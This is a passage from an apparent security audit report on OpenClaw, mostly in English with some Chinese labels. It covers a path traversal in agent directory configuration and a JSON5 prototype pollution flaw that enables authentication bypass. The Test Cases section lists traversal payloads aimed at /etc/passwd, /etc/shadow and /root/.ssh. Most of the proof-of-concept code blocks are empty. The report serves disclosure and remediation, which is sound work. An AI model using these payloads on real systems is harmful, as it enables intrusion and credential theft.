- <b>Windows</b>: <code class="notion-inline-code">..\..\..\Windows\System32</code> → <code class="notion-inline-code">C:\Windows\System32</code></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a18696e002d48d0de7" data-id="3230f0c5b87c80a18696e002d48d0de7"><span><div id="3230f0c5b87c80a18696e002d48d0de7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a18696e002d48d0de7" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80979d89fcd88feef5f8"><b>复现截图 - 路径遍历载荷测试结果：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c802ab641ee605d8c0c26"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa016_step1_payloads.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-802a-b641-ee605d8c0c26" alt="Payloads" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80e9b2acec227d8ddaeb">Payloads</div><div class="notion-text notion-block-3230f0c5b87c805085a1d761127a86a7"><b>Step 1: Configure malicious agent directory</b></div><div class="notion-text notion-block-3230f0c5b87c809abf32d87190093b9d"><b>Step 2: Trigger agent execution</b></div><div class="notion-text notion-block-3230f0c5b87c80c39a8aeea7912e53c5"><b>Step 3: Verify files written outside sandbox</b></div><div class="notion-text notion-block-3230f0c5b87c80e39b68c16c1254a0d1"><b>Step 4: Demonstrate critical file overwrite</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80298db5e97c4d6fc469" data-id="3230f0c5b87c80298db5e97c4d6fc469"><span><div id="3230f0c5b87c80298db5e97c4d6fc469" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80298db5e97c4d6fc469" title="Test Cases"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Test Cases</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80429c8bdc7cb722b902">Valid path traversal payloads:
- <code class="notion-inline-code">../../etc/passwd</code> - Escapes to <code class="notion-inline-code">/etc/passwd</code>
- <code class="notion-inline-code">../../../tmp/evil</code> - Escapes to <code class="notion-inline-code">/tmp/evil</code>
- <code class="notion-inline-code">../../../../root/.ssh</code> - Escapes to <code class="notion-inline-code">/root/.ssh</code>
- <code class="notion-inline-code">~/.ssh</code> - Expands to home directory, then resolved without boundary checks
- <code class="notion-inline-code">/etc/shadow</code> - Absolute path bypasses sandbox entirely</div><div class="notion-text notion-block-3230f0c5b87c80d1aae3feb67a042385"><b>复现截图 - 实际文件写入验证：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c808e9d41fc8050fc5eef"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa016_step2_write.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-808e-9d41-fc8050fc5eef" alt="Write" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80c3a639da20d163489e">Write</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d89ae9f76195e90b70" data-id="3230f0c5b87c80d89ae9f76195e90b70"><span><div id="3230f0c5b87c80d89ae9f76195e90b70" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d89ae9f76195e90b70" title="Affected Configuration Parameters"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Configuration Parameters</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80cd8762eead6b00eebd">The vulnerability can be triggered through:
- Agent configuration: <code class="notion-inline-code">agents.&lt;agentId&gt;.agentDir</code>
- Global default: <code class="notion-inline-code">agents.defaults.agentDir</code>
- Environment variable: <code class="notion-inline-code">OPENCLAW_STATE_DIR</code> (via <code class="notion-inline-code">resolveConfigDir()</code>)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80bfb66dc015b6d950eb" data-id="3230f0c5b87c80bfb66dc015b6d950eb"><span><div id="3230f0c5b87c80bfb66dc015b6d950eb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80bfb66dc015b6d950eb" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80caa043c84d9f3e38ea">Implement boundary validation in <code class="notion-inline-code">resolveUserPath()</code> to reject paths containing <code class="notion-inline-code">..</code> sequences and verify resolved paths remain within allowed directories. Use <code class="notion-inline-code">path.relative()</code> to check containment against a configured root directory. Reject absolute paths unless explicitly allowed.</div><hr class="notion-hr notion-block-3230f0c5b87c80e7a6b5ca0a7772856c"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c8037a30fdfabf46dc5d1" data-id="3230f0c5b87c8037a30fdfabf46dc5d1"><span><div id="3230f0c5b87c8037a30fdfabf46dc5d1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8037a30fdfabf46dc5d1" title="GHSA-017: Prototype Pollution via JSON5 Configuration Parsing"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-017: Prototype Pollution via JSON5 Configuration Parsing</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c80128c4accf01939a504"><div><b>严重级别</b>: Critical  |  <b>类型</b>: 原型污染  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c806cb4ebd6ec4835fd7b" data-id="3230f0c5b87c806cb4ebd6ec4835fd7b"><span><div id="3230f0c5b87c806cb4ebd6ec4835fd7b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c806cb4ebd6ec4835fd7b" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b9adcdf8819a3e87c2">The configuration parsing function accepts JSON5 input through the <code class="notion-inline-code">config.patch</code> endpoint without prototype pollution protection. The JSON5 parser allows <code class="notion-inline-code">__proto__</code> and <code class="notion-inline-code">constructor</code> properties that can modify Object.prototype, enabling authentication bypass and privilege escalation attacks.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8026b179d2ca69107ac8" data-id="3230f0c5b87c8026b179d2ca69107ac8"><span><div id="3230f0c5b87c8026b179d2ca69107ac8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8026b179d2ca69107ac8" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8028aff4f05097f3596c"><b>Critical</b> - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (9.8)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8068a6a0c509ced659f1" data-id="3230f0c5b87c8068a6a0c509ced659f1"><span><div id="3230f0c5b87c8068a6a0c509ced659f1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8068a6a0c509ced659f1" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><div class="notion-text notion-block-3230f0c5b87c809e88b2e9e820967483"><b>File</b>: <code class="notion-inline-code">src/config/io.ts</code><b>Function</b>: <code class="notion-inline-code">parseConfigJson5()</code><b>Vulnerable Lines</b>: 636-645</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80138099c1c02769f9e0" data-id="3230f0c5b87c80138099c1c02769f9e0"><span><div id="3230f0c5b87c80138099c1c02769f9e0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80138099c1c02769f9e0" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8081bd6df15c41c6ad3e">The <code class="notion-inline-code">parseConfigJson5()</code> function parses user-controlled JSON5 input without any prototype pollution sanitization. JSON5 specifically allows the <code class="notion-inline-code">__proto__</code> property (unlike standard JSON), which attackers can use to pollute Object.prototype.</div><div class="notion-text notion-block-3230f0c5b87c801d9576cdac96559bbf">This function is called by the <code class="notion-inline-code">config.patch</code> endpoint at <code class="notion-inline-code">src/gateway/server-methods/config.ts:361</code>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8023b0bbfa1dc68619fd" data-id="3230f0c5b87c8023b0bbfa1dc68619fd"><span><div id="3230f0c5b87c8023b0bbfa1dc68619fd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8023b0bbfa1dc68619fd" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804da53bfb2a2133a5d1" data-id="3230f0c5b87c804da53bfb2a2133a5d1"><span><div id="3230f0c5b87c804da53bfb2a2133a5d1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804da53bfb2a2133a5d1" title="Privilege Escalation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Privilege Escalation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d880d3df35974379e1">An attacker with any valid authentication token can send:</div><div class="notion-text notion-block-3230f0c5b87c80a09464d29d14c38f35">After parsing, ALL JavaScript objects will have an <code class="notion-inline-code">admin</code> property set to <code class="notion-inline-code">true</code>, bypassing privilege checks like <code class="notion-inline-code">if (user.admin)</code>.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c4bd81e020aa97c188" data-id="3230f0c5b87c80c4bd81e020aa97c188"><span><div id="3230f0c5b87c80c4bd81e020aa97c188" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c4bd81e020aa97c188" title="Authentication Bypass"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Authentication Bypass</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80ddb70cdc7a99b0ce1d">All objects will appear authenticated, bypassing login checks.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80dfaa8fd8514a593f30" data-id="3230f0c5b87c80dfaa8fd8514a593f30"><span><div id="3230f0c5b87c80dfaa8fd8514a593f30" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80dfaa8fd8514a593f30" title="Authorization Manipulation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Authorization Manipulation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d9a3faf5065446e241">All role-based authorization checks will return true.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8041ad14db7bfb053f83" data-id="3230f0c5b87c8041ad14db7bfb053f83"><span><div id="3230f0c5b87c8041ad14db7bfb053f83" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8041ad14db7bfb053f83" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80a9aee4f92b8bc17408">An attacker can:
1. Bypass authentication entirely by setting <code class="notion-inline-code">authenticated: true</code> on Object.prototype
2. Escalate privileges from any user role to administrator
3. Bypass role-based access control by poisoning authorization functions
4. Manipulate application logic by injecting properties into all objects
5. Access restricted endpoints and functionality
6. Exfiltrate sensitive data or modify system configuration</div><div class="notion-text notion-block-3230f0c5b87c803992a7ee5336a71d01">The vulnerability affects all configuration operations using the <code class="notion-inline-code">config.patch</code> endpoint, which is a core application feature.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8004b8a2ef8fbf494121" data-id="3230f0c5b87c8004b8a2ef8fbf494121"><span><div id="3230f0c5b87c8004b8a2ef8fbf494121" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8004b8a2ef8fbf494121" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80c79b2ee1fbc411505a"><b>复现截图 - 脆弱代码（无原型污染防护）：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80f3aa47eb021ca6da4e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa017_step1_code.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80f3-aa47-eb021ca6da4e" alt="Code" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80fbbcfdcc2cae51ee3f">Code</div><div class="notion-text notion-block-3230f0c5b87c804caa92d2cff72a1a7a"><b>Step 1: Send malicious configuration</b></div><div class="notion-text notion-block-3230f0c5b87c8063affeeb193e2b57ef"><b>Step 2: Verify privilege escalation</b></div><div class="notion-text notion-block-3230f0c5b87c80dea321e4c5a61d8371"><b>Step 3: Confirm prototype pollution</b></div><div class="notion-text notion-block-3230f0c5b87c801e8ddec3b0158ca192"><b>复现截图 - 原型污染利用验证：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c809aa51ee5f61c473320"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa017_step2_exploit.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-809a-a51e-e5f61c473320" alt="Exploit" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80bea41fef2e0f2ab89d">Exploit</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80378ecade98ee395f8d" data-id="3230f0c5b87c80378ecade98ee395f8d"><span><div id="3230f0c5b87c80378ecade98ee395f8d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80378ecade98ee395f8d" title="Affected Configuration Paths"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Configuration Paths</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e5a6efd6d3c007cbbf">All users of the <code class="notion-inline-code">config.patch</code> endpoint are vulnerable:
- <code class="notion-inline-code">POST /config.patch</code> with <code class="notion-inline-code">raw</code> parameter
- Any configuration merge operation that accepts user JSON5 input
- Downstream consumers of parsed configuration objects</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f584e5f68b04f38887" data-id="3230f0c5b87c80f584e5f68b04f38887"><span><div id="3230f0c5b87c80f584e5f68b04f38887" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f584e5f68b04f38887" title="Why JSON5 Enables This Attack"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Why JSON5 Enables This Attack</span></span></h4><div class="notion-text notion-block-3230f0c5b87c801a83e6d0c144193e59">Standard JSON.parse() rejects <code class="notion-inline-code">__proto__</code>:</div><div class="notion-text notion-block-3230f0c5b87c80dba29fe527f04d199c">JSON5.parse() allows prototype pollution:</div><div class="notion-text notion-block-3230f0c5b87c8000847fc08dc4dbec09">OpenClaw uses JSON5 to enable comments and trailing commas in configuration files, but this introduces the prototype pollution vulnerability.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c806aa2cdc829d986aa34" data-id="3230f0c5b87c806aa2cdc829d986aa34"><span><div id="3230f0c5b87c806aa2cdc829d986aa34" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c806aa2cdc829d986aa34" title="Comparison with Standard JSON"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Comparison with Standard JSON</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c80d693e7ffca512dfdff"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c80709b7dc875eaa76bdf"><td class="" style="width:120px"><div class="notion-simple-table-cell">Parser</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Allows <b>proto</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Safe for User Input</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c805685f1cba035d56e67"><td class="" style="width:120px"><div class="notion-simple-table-cell">JSON.parse()</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">NO (treats as string key)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Yes</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80078a6de3b0958ffb0c"><td class="" style="width:120px"><div class="notion-simple-table-cell">JSON5.parse()</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">YES (pollutes prototype)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">NO without sanitization</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8007acacc9122f8dd798" data-id="3230f0c5b87c8007acacc9122f8dd798"><span><div id="3230f0c5b87c8007acacc9122f8dd798" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8007acacc9122f8dd798" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span 